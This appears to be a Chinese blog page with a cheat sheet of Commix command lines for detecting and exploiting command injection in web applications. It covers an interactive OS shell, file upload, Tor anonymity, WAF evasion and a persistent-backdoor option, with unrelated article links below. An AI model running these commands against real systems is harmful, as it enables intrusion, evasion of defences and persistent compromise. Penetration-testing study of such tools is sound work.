当前位置: 首页 > news >正文

commix

Commix 基础用法和高级用法

基础用法

Commix 是一个自动化的命令行注入工具,用于检测和利用 Web 应用程序中的命令注入漏洞。以下是基本使用方法:

  1. 基本扫描

    python commix.py -u "http://example.com/vuln.php?id=1"
    
  2. 指定注入点

    python commix.py -u "http://example.com/vuln.php?id=1" --data="user=admin"
    
  3. 使用 POST 请求

    python commix.py -u "http://example.com/vuln.php" --data="username=admin&password=test"
    
  4. 指定参数

    python commix.py -u "http://example.com/vuln.php?id=1" -p "id"
    
  5. 使用代理

    python commix.py -u "http://example.com/vuln.php?id=1" --proxy="http://127.0.0.1:8080"
    
  6. 设置用户代理

    python commix.py -u "http://example.com/vuln.php?id=1" --agent="Mozilla/5.0"
    

高级用法

  1. 使用特定的操作系统 shell

    python commix.py -u "http://example.com/vuln.php?id=1" --os-cmd="uname -a"
    
  2. 交互式 shell

    python commix.py -u "http://example.com/vuln.php?id=1" --os-shell
    
  3. 文件上传

    python commix.py -u "http://example.com/upload.php" --file-upload="/local/path/file.txt" --file-dest="/remote/path/file.txt"
    
  4. 暴力破解参数

    python commix.py -u "http://example.com/vuln.php" --batch --all
    
  5. 使用 Tor 网络

    python commix.py -u "http://example.com/vuln.php?id=1" --tor --tor-port=9050
    
  6. 绕过 WAF/IDS

    python commix.py -u "http://example.com/vuln.php?id=1" --tamper="space2comment"
    
  7. 多线程扫描

    python commix.py -u "http://example.com/vuln.php?id=1" --threads=5
    
  8. 自定义注入标记

    python commix.py -u "http://example.com/vuln.php?id=1*" --prefix="'" --suffix="'"
    
  9. 持久化后门

    python commix.py -u "http://example.com/vuln.php?id=1" --backdoor
    
  10. 从文件读取目标

    python commix.py -l targets.txt
    
  11. 使用特定的编码技术

    python commix.py -u "http://example.com/vuln.php?id=1" --encode="base64"
    
  12. 时间延迟检测

    python commix.py -u "http://example.com/vuln.php?id=1" --time-sec=5
    

相关文章:

  • HTTP状态码
  • HarmonyOS NEXT应用开发-Notification Kit(用户通知服务)notificationManager.addSlot
  • 【差分隐私】假设检验的视角(高斯差分隐私)
  • html+servlet项目中的echart图表
  • 【分布式系统中的“瑞士军刀”_ Zookeeper】一、Zookeeper 快速入门和核心概念
  • 利用TTP协议 ETag + 路由守卫 实现前端发版后通知用户更新得一个方案
  • ​升级Ubuntu 20.04 LTS到22.04 LTS​
  • websheet之 编辑器
  • 开发体育直播系统内容与用户管理机制技术实现方案
  • 【玩泰山派】7、玩linux桌面环境xfce - (4)使用gstreamer
  • 3.4 Spring Boot异常处理
  • 酷狗音乐安卓版K歌功能与音效优化体验测评
  • 基于vue框架的电信用户业务管理系统的设计与实现8ly70(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • 容器化实现基于的技术
  • C++----模拟实现string
  • 《Java编程思想》读书笔记:第十章 内部类
  • IMX675-AAQR-C 索尼图像传感器 属于索尼 Starvis 2 系列,主打 高灵敏度、低噪声,适用于工业检测、安防监控、机器视觉等场景 提供数据手册
  • 从零开始学Python游戏编程40-碰撞处理2
  • fps项目总结:生成武器子弹丧尸攻击
  • pyinstaller打包paddleocr发生错误解决
  • 调查丨当节气出现“时差”,陕西的果农们经历着什么?
  • 从息屏24小时到息屏1小时,姚明在深圳开启落地试点
  • 体坛联播|卡马文加预计伤缺三个月,阿尔卡拉斯因伤退赛
  • 猿辅导武汉公司一员工猝死,死者亲属:他原计划5月2日举行婚礼
  • 预订假期酒店却被告知无法入住,去哪儿:对违规酒店予以处罚
  • 湖南永州公安全面推行“项目警官制”,为重点项目建设护航